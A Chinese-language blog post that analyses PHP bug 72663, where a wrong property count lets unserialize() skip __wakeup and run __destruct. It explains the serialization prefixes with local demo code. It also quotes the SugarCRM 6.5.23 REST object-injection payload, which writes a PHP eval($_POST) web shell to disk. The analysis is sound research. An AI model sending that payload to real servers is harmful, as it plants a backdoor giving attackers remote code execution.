前几天出了一个SugarCRM 6.5.23 - REST PHP Object Injection Exploit
漏洞, 昨天360发了一篇分析文章, 写的并不好, 看完了对php bugs 72663这个bug还是一堆疑问 本文主要分析php bugs 72663这个bug SugarCRM的漏洞分析见p0wd3r的文章: http://paper.seebug.org/39/
php bugs 72663: https://bugs.php.net/bug.php?id=72663 360 上分析的文章: http://bobao.360.cn/learning/detail/3020.html PS:
1 2 3 4 $ php --version PHP 7.0.0 (cli) (built: May 15 2016 02:41:06) ( NTS ) Copyright (c) 1997-2015 The PHP Group Zend Engine v3.0.0, Copyright (c) 1998-2015 Zend Technologies
下面这个是360这篇文章中给出的对72663 bug
的测试代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class test{ var $wanniba; public function __destruct(){ $this->wanniba = "*__destruct<br />"; echo $this->wanniba; echo "__destruct OK!<br />"; } public function __wakeup(){ $this->wanniba = "*__wakeup<br />"; echo $this->wanniba; echo "__wakeup OK!<br />"; } } #$a = new test(); #echo serialize($a); $payload = 'O:4:"test":1:{s:7:"wanniba";N;}'; $payload1 = 'O:4:"test":1:{s:10:"\0*\0wanniba";N;}'; $abc = unserialize($payload); $abc1 = unserialize($payload1);
问题1 \0*\0
有何意义? 在php bugs原文里还有这里都出现了这个字符串, 那么这个字符串有何意义? 在上面的代码中\0*\0
是处在单引号中, 在php里, 单引号中的为纯字符串, 所以这是5个字符\
, 0
, *
, \
, 0
, 而不是chr(0)+'*'+chr(0)
所以在上面的demo中\0*\0wanniba
为12个字符, 而序列化前面的确是10, 这当然会反序列化失败, 而出现该结果
1 2 3 4 5 6 7 8 *__wakeup __wakeup OK! *__destruct __destruct OK! Notice: unserialize(): Error at offset 30 of 37 bytes in /home/wwwroot/default/test/test3.php on line 48 *__destruct __destruct OK!
按这篇文章来说, 如果这是正确结果的话, 那么我根本不需要\0*\0
字符串, 只要$payload1 = 'O:4:"test":1:{s:10:"wanniba";N;}';
, 就可以出现同样的结果
所以又回到开头的问题上来了, \0*\0
有何意义?
在看看php bugs上的PoC: $sess = 'O:9:"Exception":2:{s:7:"'."\0".'*'."\0".'file";R:1;}';
从这可以很明显的看出, \0*\0
是有意义的三个字符, 而不是上面代码中无意义的5个字符
问题2 危害? 在上面问题没想清除的前提下, 我们假设上面代码的输出结果就是漏洞应该输出的结果, 那么危害是啥? 这稍微要设计到SugarCRM的这个漏洞, 从它的漏洞分析中我们可以猜测, 该漏洞的作用是在反序列化的过程中, 跳过__wakeup
魔术方法, 然后直接执行__destruct
, 然后__destruct
魔术方法中有我们可控的部分
然后我写了下面的demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class Test{ var $name; public function __construct($name) { $this->name = $name; } public function __destruct() { var_dump($this); } public function __wakeup() { $this->name = NULL; echo "wakeup<br/>"; } } #$s = new Test("test1"); #$g = serialize($s); #echo $g; $f = 'O:4:"Test":1:{s:4:"name";s:5:"test1";}'; $f2 = 'O:4:"Test":1:{s:5:"name";s:5:"test1";}'; $c = unserialize($f); $c = unserialize($f2);
输出:
1 2 3 4 wakeup object(Test)#2 (1) { ["name"]=> NULL } Notice: unserialize(): Error at offset 24 of 38 bytes in /home/wwwroot/default/test/test3.php on line 25 object(Test)#1 (1) { ["name"]=> NULL }
然后我们并没有办法控制name
变量, 所以说这洞有啥用?
看了p0wd3r的demo后, 终于懂了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class Test{ private $name; protected $age; var $sex; public function __construct($name, $age, $sex) { $this->name = $name; $this->age = $age; $this->sex = $sex; } public function __destruct() { # var_dump($this); } public function __wakeup() { $this->name = NULL; echo "wakeup<br/>"; } } $s = new Test("Rem", 14, 'girl'); $g = serialize($s); echo $g;
在网页上看输出是:
1 O:4:"Test":3:{s:10:"Testname";s:3:"Rem";s:6:"*age";i:14;s:3:"sex";s:4:"girl";}
发现奇怪的地方了, 然后
1 2 3 4 5 6 >>> import requests >>> r = requests.get("http://127.0.0.1/test/test3.php") >>> r.content '\nO:4:"Test":3:{s:10:"\x00Test\x00name";s:3:"Rem";s:6:"\x00*\x00age";i:14;s:3:"sex";s:4:"girl";}\n\n'
研究发现, \x00 + 类名 + \x00 + 变量名
反序列化出来的是private
变量, \x00 + * + \x00 + 变量名
反序列化出来的是protected
变量, 而直接变量名反序列化出来的是public
变量, 好了, 现在第一个问题解决了
下面是第二个问题,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php class Test{ private $name; protected $age; var $sex; public function __construct($name, $age, $sex) { $this->name = $name; $this->age = $age; $this->sex = $sex; } public function __destruct() { var_dump($this); } public function __wakeup() { $this->name = NULL; echo "wakeup<br/>"; } } #$s = new Test("Rem", 14, 'girl'); #$g = serialize($s); #echo $g; $f = 'O:4:"Test":3:{s:10:"'."\0Test\0".'name";s:3:"Rem";s:6:"'."\0*\0".'age";i:14;s:3:"sex";s:4:"girl";}'; $f2 = 'O:4:"Test":4:{s:10:"'."\0Test\0".'name";s:3:"Rem";s:6:"'."\0*\0".'age";i:14;s:3:"sex";s:4:"girl";}'; $c = unserialize($f); $c2 = unserialize($f2);
输出结果
1 2 3 4 5 6 wakeup Notice: unserialize(): Unexpected end of serialized data in /home/wwwroot/default/test/test3.php on line 29 object(Test)#2 (3) { ["name":"Test":private]=> string(3) "Rem" ["age":protected]=> int(14) ["sex"]=> string(4) "girl" } Notice: unserialize(): Error at offset 81 of 83 bytes in /home/wwwroot/default/test/test3.php on line 29 object(Test)#1 (3) { ["name":"Test":private]=> NULL ["age":protected]=> int(14) ["sex"]=> string(4) "girl" }
反序列化$f
-> 执行__wakeup
-> 反序列化$f2
-> 对象属性个数错误 -> 销毁, 执行__destruct
-> 程序结束销毁$c
, 执行__destruct
所以有了上面的输出结果
总结 1 $f2 = 'O:4:"Test":4:{s:10:"'."\0Test\0".'name";s:3:"Rem";s:6:"'."\0*\0".'age";i:14;s:3:"sex";s:4:"girl";}';
针对上面这串序列化字符串猜测反序列化是从左往右执行, 首先匹配到O, 得知是一个对象 -> 匹配到4, 得知对象名为4个字符串 -> 匹配对象名Test
, 搜索自己的内存空间检测是否定义过该对象, 得知定义过, 分配sizeof(Test)大小的内存空间 -> 匹配到4, 得知有给4个对象属性赋值 -> 第一个匹配到s, 得知是字符串变量 -> 匹配到10, 得知变量名长度为10 -> 匹配变量名, 发现开头是”\0”+对象名+”\0”, 得知是private变量, 其后为变量名 -> (重点结束开始快进)匹配s:3:”Rem”, 变量的值为长度为3的字符串Rem -> ……..匹配结束第三个属性, 匹配第四个, 匹配到}, 出错, 退出序列化, 销毁对象, 执行__destruct方法(就是这里跳过了__wakeup方法直接执行__destruct方法)
然后稍微看看SugarCRM的PoC
1 2 3 4 5 data = { 'method': 'login', 'input_type': 'Serialize', 'rest_data': 'O:+14:"SugarCacheFile":23:{S:17:"\\00*\\00_cacheFileName";s:15:"../custom/1.php";S:16:"\\00*\\00_cacheChanged";b:1;S:14:"\\00*\\00_localStore";a:1:{i:0;s:29:"<?php eval($_POST[\'HHH\']); ?>";}}', }
这里出现了一个问题, 纠结了我很久, 这里的payload用的是'\00*\00'
而不是 "\00*\00"
, 而之间测试代码告诉我们的不一样啊, 为啥'\00*\00'
也行呢?
PS: 这里注意区别
1 2 3 4 5 6 7 8 9 10 >>> a = "\\00*\\00" # 这个是php的'\00*\00' >>> b = "\00*\00" # 这个是php的"\00*\00" >>> a.encode('hex') '5c30302a5c3030' >>> b.encode('hex') '002a00'
最后找到一些非官方的资料(找不到官方的): http://www.neatstudio.com/show-161-1.shtml
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - non-escaped binary string
S - escaped binary string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
1 2 s:5:"\00te" 表示的是5个字符\ 0 0 t e S:3:"\00te" 表示的是3个字符\0 t e
测试代码中我用的是s
, 而payload中用的是S
, 所以说本质还是一样的, 也就是我上面所说, 是"\0*\0"
该bug影响的php版本和SugarCRM漏洞详情请看p0wd3r分析文章